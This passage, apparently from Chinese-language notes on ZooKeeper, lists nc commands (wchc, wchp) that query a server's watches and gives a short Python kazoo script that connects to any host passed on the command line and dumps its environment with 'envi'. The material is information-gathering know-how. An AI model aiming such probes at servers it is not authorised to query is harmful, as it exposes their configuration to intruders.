  • 10. echo wchc | nc 127.0.0.1 2181 ,通过 session 列出服务器 watch 的详细信息,它的输出是一个与 watch 相关的会话的列表。
  • 11. echo wchp | nc 127.0.0.1 2181 ,通过路径列出服务器 watch 的详细信息。它输出一个与 session 相关的路径。

273847384

273799725

写个脚本来搞定


import sys
from kazoo.client import KazooClient
​
host = sys.argv[1]
conn = KazooClient(host)
conn.start()
sysinfo = conn.command('envi')
print sysinfo